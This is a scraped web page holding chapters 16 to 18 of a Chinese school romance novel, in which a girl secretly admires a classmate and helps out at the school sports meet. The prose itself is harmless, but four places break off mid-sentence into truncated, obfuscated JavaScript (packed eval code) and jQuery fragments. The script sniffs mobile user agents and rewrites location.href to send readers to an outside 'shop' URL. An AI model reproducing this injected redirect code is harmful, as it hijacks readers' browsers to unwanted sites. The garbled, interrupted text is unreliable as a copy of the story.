l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059413|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下来有请优秀学生代表谢惊洛同学上台发言。” 嗯?! 于听眠怀疑自己听错了,回头向唐思雨确认:“谢惊洛要上台发言?” “是啊。”唐思雨习以为常,“你才转来可能不太清楚,咱们学校有个传统是每次开学典礼都会邀请年级第一上台发言,结果每次都是谢惊洛。” 于听眠:“稳定得令人害怕。” 不行,这是她第一次听谢惊洛上台讲话,她得站直了听。 她将小卡片装回口袋里,站直了身子。 台上,谢惊洛从容地接过话筒,声音通过扩音器传播至整个操场。 “尊敬的老师,亲爱的同学们,大家早上好。” “很荣幸能站在这里和大家一起交流我的学习经验……” 于听眠听得认真,大家也都在关注着他,只有这种时候她的目光才敢光明正大地在他身上停留。 那份不敢显露的心思混杂在众多的视线里,任谁也发现不了。 唐思雨:“嗯?你不背了吗?” 于听眠:“背累了,歇会儿。” 唐思雨:“哦。” 还真被唐思雨说对了,这个早会开足了一个小时。谢惊洛发言完后于听眠又继续开始背单词,台上的发言人从教导主任到副校长再到校长,一整套流程下来于听眠什么也没记住。 有那么几个时候她抬头看了一眼亲爱的领导们,他们举着话筒滔滔不绝声情并茂畅言着学校的发展,讲了这么久也丝毫不见口渴的迹象。 怪不得人家能当领导呢。 于听眠视线中多了几分尊敬。 然后她低头继续背单词。 等好不容易解散回到教室,他们前脚刚坐下后脚老梁就跟了进来。 “我说你们也不知道收敛一点。”梁兆兴双手撑在讲台上,语重心长:“我也知道这种早会很无聊,你们听不进去拿点小纸片写些英语单词数学公式什么的下去背背这很正常,但你们有人带那么大一本练习册下去光明正大地写题就太显眼了啊。” 于听眠摸了摸口袋里还没拿出来的小卡片。 放心了,不是在说自己。 “而且有时候你们多多少少也要听一些。”梁兆兴屈指敲了敲讲台,眼神一定盯上了一个人:“来,陈文俊你来说一下今天会上讲了什么。” 第三排一个身材高大的寸头男生一脸茫然地指了指自己:“啊?我说吗?” 真的假的? “对,就是你。”梁兆兴点头,“不用说多,说出一个就行。” 陈文俊:“但我一个都没记住啊。” “行了,坐下吧。”梁兆头没好气道:“月末校运会就开始了,各班的体委需要提前组织好报名事项,挑选后勤,下第一节课体委去办公室拿报名表,这事儿都没听还体委呢。” 陈文俊积极认错:“我的锅我的锅,下次一定注意,嘿嘿。” “其他的也没有什么需要注意的事了,有感兴趣项目的同学可以积极报名,不想报名的同学也可以去现场看一下比赛,有咱们班的比赛就帮忙喊喊加油,而且这也是你们在这个学校参加的最后一场校运会,等到了高三,这些娱乐活动就与你们无关了。” 16. 眼神坚定得像要入党 “眠眠你有什么想法吗?” 几天后的一个课间,唐思雨凑到于听眠面前问。 “嗯?什么想法?” “校运会啊,你有想报名的项目吗?陈文俊都在班里问好几天了,还没凑齐人呢。” “我?” 于听眠认真思考了一番。 各个项目从脑子里轮流筛选了一遍。然后她发现自己好像不太行,短跑爆发力不行,长跑耐力不行,跳高弹跳力不行,抛铅球腰腹力量不行,总而言之—— 哪哪都不行。 于听眠老实巴交:“我觉得我什么都不行,你呢?” 唐思雨:“哟,真巧,我也是。” 于听眠:“……” 唐思雨:“……” 相对无言。 唐思雨:“要不我们当后勤吧?就搬搬东西送送水什么的,我觉得挺好的。” 于听眠正要问能不能只当一个默默无闻满场乱逛的观众,但还未等她开口,一道划破天际的哀嚎声吸引了她的注意。 于听眠:“?” 什么动静? “啊啊啊啊啊啊——洛哥啊——”陈文俊又逛了教室一圈依旧找不够人后,攥着报名表径直往谢惊洛桌面上扑,动静之大,引得不少人侧目。 谢惊洛抬眸看了一眼朝自己扑来的玩意儿,伸手轻描淡写地抽走了平放在桌上的书籍。 陈文俊扑了个空,扑在了邦硬的桌面上。 “洛哥……”陈文俊用眼神控诉他。 谢惊洛合上书放到一旁,凉凉地笑了下:“说事。” “嘿嘿,那什么……”见人这么说,陈文俊双手将报名表奉上,“您看看您中意哪个项目,往上面填个名儿就好。” 谢惊洛眉梢轻挑,并未接过报名表。 “洛哥啊——”陈文俊又开始嚎了,“您知道的这种活动没您不行啊,实在是没人报名了,要不是一个人最多只能参加两个项目,我高低全填自己名字上去了。” 谢惊洛有些散漫地支着额头,神情不为所动:“多我一个你也不够啊。” “有好过没吧,不用多,您就填一个就行,帮帮哥们吧,洛哥~~”一个人高马大的男生捏着嗓子扭捏着喊自己名字的画面实在太有冲击力,以至于被喊名字的当事人都没忍住皱了皱眉。 “行了闭嘴,再吵就不报了。” 陈文俊一听有戏,连忙闭嘴,手脚麻利地将报名表放在谢惊洛桌面上。 耳根清净后,谢惊洛拿起报名表大概地看了一眼。 每个项目各有各的缺人,就连最为热门的男女混合四百米接力赛都还差两个人。 他提笔在男女混合四百米接力赛报名栏处写上名字。 陈文俊拿回报名表乐呵呵的走了。 “……” 围观完全程,于听眠到了嘴边的话滚了一圈又咽了回去,她郑重其事回答唐思雨:“好,我决定好了,我们就去当后勤吧。” 唐思雨:? 你的眼神怎么忽然坚定得像是要入党? 于听眠:“话说回来,你为什么忽然想去当后勤?” 唐思雨:“呃、如果我说我有一颗想要奉献的心,你信吗?” 于听眠滴溜溜的大眼睛眨了眨:“你猜我信不信?” 唐思雨:“我猜你不信。” 于听眠微笑看她。 唐思雨被她笑得发毛,挣扎片刻如实招了:“好吧其实是秦长宇也参加了两个项目要我去给他送水。” “嗯哼~”于听眠了然,那一切就都合理了。 2013年9月15日 天气:多云 思雨跑去当后勤有原因。 好吧。 我也有。 幸得天公作美,校运会当日风和日丽碧空如洗,是个不可多得的好天气。 老梁提前两天买好了水、零食、葡萄糖溶剂等物品放在办公室里,等运动会当日让后勤人员拿下去。 除此之外还要搬几张桌子和椅子下去供人放置物品和歇息用。 教室离操场距离不近,搬着东西一路过去也不轻松,后勤人员里的几个男生便自告奋勇去搬桌子椅子和水等重物,将一些重量较轻的零食留给女孩子们搬。 虽然说零食不是很重,但全班人的分量体积实着不小,满满当当的塞满了几个大袋子。 唐思雨看着两边合不上的提手犯了难:“这怎么搬下去啊?” 有个女生提议:“要不两个人一人提一边提下去?” 另一个女生道:“可这里有好几袋,两个人搬一袋要来回好几趟,效率会不会有点慢?” 于听眠想了想道:“要不我们把它们抱怀里抱下去吧?” 唐思雨:“抱的起来吗?装的挺满的会不会漏啊,掉地上不太好捡。” 于听眠:“把它们塞紧实一点试试看吧。” 于听眠率先抱起一袋零食颠了颠。 “可以的,掉不下来。” 此言一出,其他人纷纷效仿,没多久就一人抱着一袋零食前往操场。 于听眠和唐思雨走在最后面,刚下到一楼,唐思雨忽然间想起了什么,皱眉“啊”了一声。 “怎么了?” 唐思雨小脸皱在一起,神情有些懊恼:“我相机放在教室忘拿了。” 校运会上经常会发生一些有意思的事情,所以每在这种时候都会有同学带相机过来拍照记录,唐思雨就是其中一个。 “啊?现在刚到一楼回去拿还来得及,我陪你去拿吧。”于听眠说着就要上楼。 “不用不用。”唐思雨不想她再跟着自己爬一趟楼,怪累的,“你先去吧,我顺便去上个厕所再下去,免得等会儿没时间上厕所。” “真的不用我陪你吗?” “真的,就拿个相机,我总不能上厕所上到一半掉进厕所里吧。” 也是。 于听眠也不执着:“那我先过去操场等你。” “okok~” 于听眠看着唐思雨上楼,又转头看了一眼已经走远的大部队,想了想并没有跟上去同行。虽然这一个月里她已经认识了不少人,但大都是泛泛之交,平常偶尔会说两句话,但要和她们一起同行她总觉得有些不好意思。 太阳有些晒,于听眠不适地眯了眯眼睛,四下看了看,她朝屋檐下的阴影处走去。 建筑物挡去了刺眼的光线瞬间舒服了不少。 于听眠哼着歌贴着建筑物走,怀里抱的零食袋子太大遮挡住了一部分视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059414|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,经过一个拐角时,她一时没注意猝不及防撞上了一个人。 “哎!?” “啊呀!” 哗啦—— 对方显然也没注意,两人一起发出了惊讶且疑惑的声音,于听眠怀里的零食被撞出了不少掉在地上。 “不好意思!我没注意到拐角有人,同学你没事吧?” 于听眠努力透过塑料袋的遮挡看过去,发现对方是一个个子高挑的女生。 于听眠第一反应觉得这个女生不仅声音清亮悦耳还长得很漂亮。 对方长着一张标准的鹅蛋脸,唇红齿白眉目如画,及腰的长发散落在身后随风律动,灵动的双眸正饱含担忧地看着自己。 “没事。”于听眠摇头,“我也没有注意到你。” 说着蹲下身把袋子放在一边想要捡回掉了一地的零食。 “我来帮你!” 女生一同蹲下身捡起地上的零食放回袋子里。 没有了零食袋子的遮挡,于听眠注意到女生身上穿的不是校服,而是一整套修身的小西装,及膝的西装裙衬得她裸露在外的小腿笔直而修长。 校运会这两日学校允许大家不穿校服,故而于听眠看到女生的装扮并不是很意外,只看了一眼就收回了目光。 两个人一起动手速度快了很多,没两分钟袋子又重新被于听眠抱回了怀里。 “谢谢!” “不用不用!”女生施施然一笑,“本来就是我撞倒的,是我应该做的。” 她低头看了一眼手腕上的表,急切的语气里带着歉意:“不好意思,我有点急事,要先走了。” “嗯。”于听眠点点头,让了让身子给她过去。 她看了一眼女生走远的方向,平静地收回目光。 差点就想问对方叫什么名字,但冲动之后仔细一想,以后大概也不会有什么交集,又缄了口。 于听眠七拐八拐来到操场找到自己班的“大本营”,放下东西,看操场上已经密密麻麻站满了人准备开幕式。 学校里的活动不多,遇上这种能够光明正大玩两天的集体活动大家心情都有些激动,人群热热闹闹熙熙攘攘,彩旗飘扬蔽空,开幕号角震天响,洋溢的朝气直奔天际。 运动员和后勤人员被特许不用参加开幕式,运动员做赛前准备,后勤人员则留在大本营整理好需要用上的东西。 说是大本营,其实也就是在一片空地上支了个遮阳棚,棚里并排摆放着几张桌子,周围放着几把椅子,零食和水什么的就放在桌子上,谁需要就自己拿。 于听眠站在棚子下朝着操场入口处张望,不多时就瞅见了熟悉的身影晃晃悠悠地走了进来。 “思雨——在这儿——” “我去,真难找。”唐思雨把零食放在桌面上,转身就找于听眠吐槽,“要不是你叫我我还真没看见我们班的地盘在哪里……不对,你刚叫的时候我也没看到,瞅了好几眼才看到你。” 于听眠挑眉:“是吗?那你可得好好感谢我哦。” “……”唐思雨眼神复杂:“于听眠你变了,不,你根本就不是于听眠,你快把我家那个乖巧腼腆可爱的眠眠还给我。” “晚咯~”于听眠摊手:“已经吃进肚子里消化得渣都不剩了~” 17. 方楚悦 “尊敬的老师,亲爱的同学们,大家早上好!” “在这秋高气爽,硕果飘香的九月,我们迎来了云城一中第二十届秋季运动会的隆重召开……” 嗯? 主持人站在主席台上激情四溢说着开幕词,清丽动人的声音被粗糙的音响折腾过一番掺杂了杂音后依旧悦耳动听,只是于听眠总觉得自己好像在某个地方听过这道声音,一时半会儿却又想不起来。 “首先,我代表组委会对在运动会筹备过程中付出辛勤劳动的全体工作人员表示衷心的感谢……” 于听眠踮起脚伸长脖子看去,想要试试能不能看到声音的主人长什么样,但主席台被人山人海挡住,根本看不见一点台上的人儿。 “怎么了吗?你在看什么?”唐思雨注意到了她的动作。 于听眠收回脖子,摇头:“没看什么,就是忽然有点好奇是谁在台上讲开幕词,声音挺好听的,但人太多遮住了没看见。” “这个声音……”唐思雨仔细听了听,“十有八九是方楚悦,她的声音还挺好认的。” 于听眠一顿。 方楚悦? 她有关于这个名字的记忆。 “又是谢惊洛第一啊,我还以为方楚悦会有机会呢。” “哎,你别说,谢惊洛和方楚悦这两人……不看其他,光看脸在一起真的是赏心悦目。” “……” 是挺久之前的记忆,不多,但时隔了一个月在记忆的长河里被翻出来却异常清晰醒目。 “方楚悦……”她喃喃地重复了一遍这个名字。 她当时站在表彰栏下只顾着看谢惊洛,听周围人讨论谢惊洛,没有注意表彰栏上的其他人,听人提了一嘴记住了方楚悦是年级第二但并不知道她的具体长相。 虽然她觉得以学校那个拍照技术就算拿着照片在本人面前对比都不一定认得出来。 “是啊,你知道她?”唐思雨问。 “听人提起过,有点好奇,她在学校好像挺有名的。” “确实挺有名的。” 该准备的东西都准备得差不多了,后勤的大家都在棚子里整装待发,只等开幕式结束,趁着为数不多的空余时间唐思雨和于听眠聊了起来: “方楚悦她是二班的,同时也是我们学校的广播站站长,人长得好看声音好听,成绩好人缘也好,如果你看过我们楼下的表彰栏的话就会发现她是上学期期末的年级第二。” 唐思雨给于听眠粗略地介绍了下,其他具体的她也不是很清楚,毕竟现实中并没有交集。 “她挺厉害的。”于听眠由衷感叹。 “是啊。”唐思雨一起感叹。 “嘿,两位靓女,你们在做什么?”陈文俊从她俩身后像鬼一样悄无声息地冒了个头,语气阴恻恻的,企图吓死两人。 “哎呀我去!”唐思雨被吓了一跳,原地蹦开。 于听眠身体后仰。 “你怎么走路都没声的?吓死了。”唐思雨拍了拍胸口没好气地瞪了他一眼。 “有声。”陈文俊试图为自己辩解,“明明是你们聊得太投入了。” “……”唐思雨懒得和他辩论这个问题,“怎么了,找我们是有什么事需要我们做的吗?” “嘿,还真有。”陈文俊从口袋掏出两张纸条交过去,表情神秘兮兮,“今天上午有我的100米跑和秦长宇的50米跑,这个是加油词,负责送加油词的那个同学有点事离开了一会儿,你俩现在有空的话帮忙送去广播站那边呗,我要去准备上场了。” 唐思雨接过纸条看上面的内容。 于听眠好奇也凑上去看看。 一张纸条字迹清新飘逸:踏上跑道,是一种选择;冲出起点,是一种勇气;奔越终点,是一种荣耀,驰骋赛场的少年啊,今天,你是我们的骄傲,加油吧——高二理一班的秦长宇,我们为你喝彩! 一张纸条字迹狂野无比:冲啊——高二理一班的陈文俊,你今天就是全场最牛的男人——你是男人中的男人,男人中的巅峰,我们为你痴为你狂为你哐哐撞大墙,今天全场你称王—— 唐思雨:“……” 于听眠:“……哇塞。” 原谅她们没见过世面,深深被这狂野的加油词震撼到了。 人怎么能有种成这样?怎么,这个学校已经没有你在意的人了吗? “这加油词……是谁写的?”于听眠终究还是没忍住问。 “咳咳。”闻言,陈文俊咳嗽两声,“这当然是咱们的语文课代表写的。” 语文课代表,于听眠对她的印象是一个浑身浸满书卷气的身形娇小的女生。 唐思雨:“你拿刀架她脖子上逼她写的?” 陈文俊:“怎么可能,当然是她自愿的,被我的魅力折服了。” 于听眠:“……” 唐思雨:“……” 这画风字迹明显就不一样好吧! 唐思雨斟酌再三:“我可以问你一个问题吗?” “什么?” “你在这个学校里有有好感的女生吗?” 陈文俊摸不着头脑:“没有啊,怎么忽然问这个。” “啊……没事,随便问问。” 两人对视一眼,了然于心。 难怪那么野,还真是没有在意的人了。 “哎,行了行了。”陈文俊觉得莫名,想不出缘由,就按着她俩的肩膀把她们翻了个面往外一推赶她俩走,“哥们就那么一个愿望满足我吧!我先去准备了,拜托你们了!” 于听眠看着他脚底抹油一溜烟跑没的身影:“他一直都那么勇的吗?” 他敢写她都不敢听。 唐思雨摊手:“我不知道啊,可能是今天激动过头了。” 于听眠猜测:“我觉得他说没有有好感的女生应该是真的。” 唐思雨赞同:“我也觉得。” “思雨——听眠——你们等一下!” 两人同时看去,发现喊住她俩的人是负责写加油词的语文课代表许云。 许云小跑到两人面前停下,喘了口气:“呼……可算等到陈文俊走了,这个给你们。” 她手里捏着张纸条,就近递给了于听眠。 于听眠定睛一看,发现又是一张加油词,给陈文俊写的,只不过比起陈文俊自己写的那张,这张的内容显然正常了不少,风格也和秦长宇那张一般无二。 “哎?我们这里已经有一张他的加油词了。”唐思雨也看见了纸条的内容。 “没事,你们把这张也一起拿过去。”许云扶了扶鼻梁上因运动幅度过大变得有些歪的粗边黑框眼镜,嗤笑一声:“就他自己写的那张?我都懒得说他,要是没被广播站的人筛下去我跟他姓。” 唐思雨:“……” 于听眠:“……” 于听眠和许云的接触不多,平时除了交作业会说两句话之外并无其他交集,但此时她总觉得有什么奇怪的滤镜碎掉了。 待到开幕式结束,人群解散,两人避开人头攒动的操场中心,从边缘前往主席台。 唐思雨眼尖,看到了从大门口进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059415|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的老梁。 “老梁!”唐思雨抬手挥了挥朝他打招呼。 “梁老师好。”虽说私底下大家都在用“老梁”称呼梁兆兴,但在本人面前于听眠是喊不出口的,只规规矩矩喊老师好。 虽然不知道隔那么远老梁能不能听见。 梁兆兴一手腋下夹着个文件夹,另一只手推了推鼻梁上的眼镜眯眼瞅了瞅,发现隔着老远和自己打招呼的两人是自己的学生。 “哦,是你们啊。”他正要找个人帮忙就有人送上来了,得来全不费工夫,他招手:“你俩来个人帮我填一下这个表,就……” 他点了个身位离自己近的:“就你了,唐思雨同学。” “啊?我?”唐思雨指着自己,迷茫。 “对,是你。”梁兆兴说完,意识到她俩要去干什么的样子,“还是说你们现在有事要忙?有的话我再去找别人。” “没有,就是要去主席台那边送个加油词。” “那好,我先去棚子那边,你等会儿过来。” 等老梁走后她看向于听眠作擦眼泪状:“呜呜呜,亲爱的我要和你分别了,我知道你很舍不得我,但你要学会成长了,我知道你很爱我,但你要懂得有一种爱叫放手,强行留下我是没有结果的呜呜呜……” “……”于听眠上次那么无语还是在上次,“快滚吧,我现在就去找新欢,等会儿回来就没你的位置了。” “嘻嘻,你才不会呢。” …… 为了方便现场广播,广播站的人员把大半装备都搬上了主席台,此时的主席台上堆放着各种音响设备,红蓝的线路交杂在一起,工作人员正忙着整理线路调试设备。 于听眠不知道手中的加油词要交给谁,她四下观察了一下,叫住了一个看起来没那么忙的工作人员:“同学你好,我想问一下这个加油词是要交到谁的手里?” “噢,这个啊。”工作人员指了指主席台正中间的那张长桌,桌子后面坐着一个长发女生,她的身旁堆放着一堆略显凌乱的纸张。 于听眠看着那个女生的衣着身影有些眼熟。 “你先放在我们站长身边的那堆纸那里,等会儿我们会整理的。” “好的,谢谢。” 于听眠走过去,将手中的纸轻轻放在了纸堆的最上方。 “加油词放在这里就行了……哎?”方楚悦习惯性回头嘱咐两句,却发现来人是不久前被自己撞倒的女生,不由惊讶。 于听眠方才就大概确认了是她,此刻并不是很意外。 “是你呀!”方楚悦露出笑容:“好巧,没想到这么快又见到了。” “是啊,好巧。”面对对方的热情于听眠有些不自在,她干巴巴地说道:“我也没想到。” 说完于听眠就沉默了,这话说得她自己都觉得冷场。 方楚悦却像是无所察觉:“刚刚走得急,还没来得及问你的名字呢,我叫方楚悦,你叫什么名字?” “我叫于听眠。” “很好听的名字啊,对了!”方楚悦想起了什么,她掏了掏小西装上衣的口袋,从里面掏出两根棒棒糖递给于听眠,在于听眠不解的目光下解释道:“这个给你,还是觉得刚刚撞倒你很抱歉,虽然用来道歉好像有点随意了,但我身上也没有其他东西了,所以请收下这个吧。” 女孩目光诚恳真挚,于听眠没想到她还在意这件事,一时间有些手足无措:“啊?真、真的不用的,真的没关系的!” “那也收下吧。”方楚悦眉眼弯弯笑意盎然,“就当交个朋友啦~” 18. 今天中午吃什么 见于听眠空手去回来时多了两根棒棒糖还分了一根给自己,唐思雨霎时瞪大了眼睛,质问:“你真在外面有人了?!” “是啊。”于听眠督了她一眼,理所当然的语气:“不是和你说了我要去找新欢吗?” 她伸手轻轻勾了勾唐思雨的下巴。 “你失宠了,亲爱的。” “不!”唐思雨悲不自胜,她一把拍开于听眠作乱的手,反手抓住对方的肩膀,诚然一副被辜负的模样,势必要对方给她一个说法。 “你说过永远只会爱我一个人的,快说!那个野男人,啊不,那个野女人,啊也不是……快说!那个野人是谁?!” 两人的目光在空中胶着,一个冷漠无情,一个痛心疾首。 下一秒—— 都没绷住,笑了。 “哈哈哈哈哈哈哈哈哈好有病啊我们两个——”唐思雨笑得挂在于听眠身上直不起身。 “你也知道啊。”于听眠把赖在自己身上的人拎起来,拆开了手里的糖放在嘴里。 浓郁的葡萄味瞬间充斥了整个口腔。 “所以到底是哪里来的?”唐思雨也拆了糖纸扔进嘴里,“还挺好吃的。” “方楚悦给我的。” “啊?”这唐思雨还真没想到,这孩子刚才还不认识方楚悦的,怎么才这么一会儿就吃上人家给的糖了? “你刚刚不是还不知道人家是谁吗?” 于听眠大致给她说了一下她回去拿相机后发生的事。 “好家伙,还有那么巧的事。” “是啊,我也没想到。”于听眠摊了摊手,“对了,你的相机呢?” “放大本营的桌子上了,怎么了?” “就那样放在哪里了?”于听眠震惊于她的松弛,“你不担心不见吗?” 防人之心不可无,不怕一万就怕万一。 “没事啊,老梁在大本营坐着呢,谁敢在他眼皮子底下顺东西走。”唐思雨觉得于听眠对自己有些误解,“我看着是那么心大的人嘛?相机还是从我妈那里薅来的,真弄不见了她第一个扒了我的皮,我哪敢?” “噢,也是哦。”于听眠默了默,问:“等会儿是先跑男子50米吧?” “是啊。”唐思雨抬手看了看表,“离第一场比赛开始还有半个小时,秦长宇分在了第一场,再过十五分钟我们就要派人过去起点帮忙检录还有在终点帮忙接应。” 帮忙检录的人员规定需要一男一女,在终点接应的人也至少需要两人,除了于听眠和唐思雨外,过会儿还会有两个男生和她们汇合前往跑道。 “咳咳,那什么——”唐思雨清了清嗓子,端着严肃的表情一副心无杂念公事公办的语气:“你等会儿想去起点检录还是想去终点接应?” 听着像在很认真地商量工作事宜。 “……”于听眠了然,她笑道:“你想去接人是吧。” 唐思雨一秒破功:“好嘛,我答应了要给他送水的……” 于听眠没什么意见:“行,你去吧,我去帮忙检录。” “嘿嘿~”唐思雨得了便宜开始卖乖:“亲爱的你最好啦——快来让我亲一口——” 于听眠无比嫌弃:“不要,离我远点。” 唐思雨:“呜。” 离比赛正式开始还有五分钟,于听眠再一次检查了秦长宇的号码牌是否别好,核对了运动员信息是否无误,事无巨细。 确认万无一失后,她小声对秦长宇说:“加油,思雨在终点等你。” 秦长宇也朝她比了个“OK”的手势:“放心,交给我了,绝对让她第一个接到我。” 结果不负众望,广播里他的加油词还没念完,终点已然欢声雷动。 秦长宇确实言出必行让唐思雨第一个接到了他。 接下来的男子50米都没有自己班的运动员,于听眠也不用在这边逗留,收工回了大本营。 她率先回到,百般聊赖,等了一会儿,视野里终于出现了并肩而行的两人。 于听眠注意到秦长宇手中拎着一瓶喝了一半的矿泉水。和老梁一箱箱批发买的不同,他手中的是单独的包装,是唐思雨另外给他买的。 “厉害!真拿第一了。”于听眠称赞。 “下午还有决赛呢,那时候跑了第一再夸他也也不迟。”唐思雨耸肩,挽着于听眠和她吐槽:“我跟你说,他和我吹好几天了,要是没拿第一我能笑他到毕业。” “哎哎哎——”秦长宇连忙阻止她继续说下去,“随口说的你记得那么清楚干什么?” “哦。”唐思雨瞟他,“随口说了好几天是吧?” 秦长宇:“……” 于听眠忍不住笑,视线下意识去找寻某个身影,却回想起今日好像都没见过他。 她想秦长宇和谢惊洛玩得好,大概是知道人下落的,想问,却又觉得问出口自己的心思昭然若揭。 话都没说上几句的人,问这个做什么呢? 其实于听眠知道这种行为挺正常的,没看见人随口问一句,人之常情,只是她心里有了别样的心思,并不纯粹,所以看上去平常的问题她反而被堵了喉咙问不出口。 “话说谢惊洛人呢?他没来吗?一早上没见着他了。”反而是唐思雨同秦长宇闲聊的时候问了出来。 “他吗?躲清净去了,没到他比赛的项目大概都不会出现。”秦长宇又拧开瓶盖喝了一口水,“平时在教室里也就算了,办公室就在走廊尽头喜欢他的女生也不会那么明目张胆凑上去,但校运会这种活动管的松,他要出现了估计有得闹腾。” 唐思雨赞同他的说法:“也是,收到情书礼物什么的一个个拒绝退回去也挺耗精力的。” 情书礼物的事于听眠听唐思雨说过。 谢惊洛的课桌上,桌肚里,总能不定时刷新各种各样的情书和小礼物,种类繁多不乏花了心思的。只是谢惊洛一概不收,可他的教养又让他做不出把他人的心思随手丢进垃圾桶这种事,所以送来的情书礼物大概率会退回到本人手里,若是实在找不出源头,那那些情书礼物则会被他锁进一个小盒子里,被藏进昏暗的角落不见天日。 倘若是当面表明心意的…… 于听眠有幸见到过一次。 他笑着对那个女孩摇头,动作绅士却坚决地将礼物推还回去,声音也是与平日无差的温文尔雅。 “很荣幸能够获得你的喜欢与偏爱,只是我并非是你最好的选择。” 明明是拒绝人的话语,可不知为何于听眠的心脏当即漏跳了一拍。 或许是她看到了谢惊洛刻在骨子里的温柔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061812|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“眠眠?眠眠?” 沉浸在旧忆里的于听眠乍然被人唤醒,惊了一跳,但很快又整理好凌乱的表情:“怎么了?” “你在想什么重要的事呢?那么入神,叫你好几声了都没答应。”唐思雨疑惑道。 “……”于听眠面不改色:“没什么,只是在想中午吃什么好呢。” “中午吃什么?行,这确实很重要。”唐思雨成功被带偏,开始思考起这个严肃的问题,“你说我今天吃饭呢?还是吃面呢?好久没吃面了,但今天又有点想吃饭。” 于听眠给出提议:“石头剪刀布吧,你赢了吃面,我赢了吃饭。” 唐思雨:“可以,来。” “石头剪刀布——” 于听眠收回手:“你赢了,吃面吧。” “……”唐思雨扭捏,“要不……三局两胜?” 于听眠看了她一眼:“那吃饭吧,如果你更想吃面的话就不会给饭机会了。” “嘿嘿,说的也是,那吃饭吧。”唐思雨嘻嘻一笑,但马上又陷入新的纠结:“吃饭的话,那我是吃红烧排骨呢?还是吃板栗炖鸡呢?” 于听眠:“……” 真是够了。 2013年9月27日 天气:晴 校运会终于开幕了,果然是很热闹,只是过程有点奇妙。 好家伙,真没想到和我撞在一起的那个女生是方楚悦哎!!! 上一秒还和思雨在讨论她下一秒就遇上了,她还给了我两颗糖,她人还挺好的,糖也很好吃,笑起来也很好看。 哦,说到这个,陈文俊的加油词果然不出所料没被选上,他没听到自己亲手写的加油词跑完之后还哀嚎了好久,结果就被许云谴责了,说他吵得太大声了扰民,还说要不是她最后给他另外写了一张他就没有加油词了。 然后陈文俊就安静了。 别说,有点好笑。 在今天之前我一直以为许云是一个文文静静的小女生来着,果然是人不可貌相,开口闭口两个样。 对了,值得庆祝的是秦长宇在男子50米的决赛里也跑了第一,非常好,这个项目的奖牌是我们班的啦—— 陈文俊在最后的男子100米决赛里表现也很好,虽然遗憾和第一失之交臂,但第二也是非常厉害的(虽然他本人觉得最遗憾的是他呕心沥血写的加油词没能通过广播传遍整个操场) 至于思雨纠结了好久的午餐——她想的两个最后都没吃,吃了当场看中的可乐鸡翅。 总之今天也是很不错的一天,唯一有点可惜的是没见到谢惊洛的身影。 唉…… 又想起了一些奇奇怪怪的事。 可他人真的好好啊,连拒绝人都那么温柔,如果是我的话就算被拒绝了大概也很难忘掉这样的一个人吧。 …… 啧,于听眠你做什么梦呢?连告白的勇气都没有就已经想到被拒绝了?你还真敢想啊? …… 好吧……其实挺佩服那个女孩子的,她能勇敢地表明自己的心意。 而我连表露端倪的勇气都没有。 嘤……真是难过。 …… 嗷嗷嗷嗷嗷嗷嗷嗷—— 不管了——明天我一定要看到谢惊洛冲线——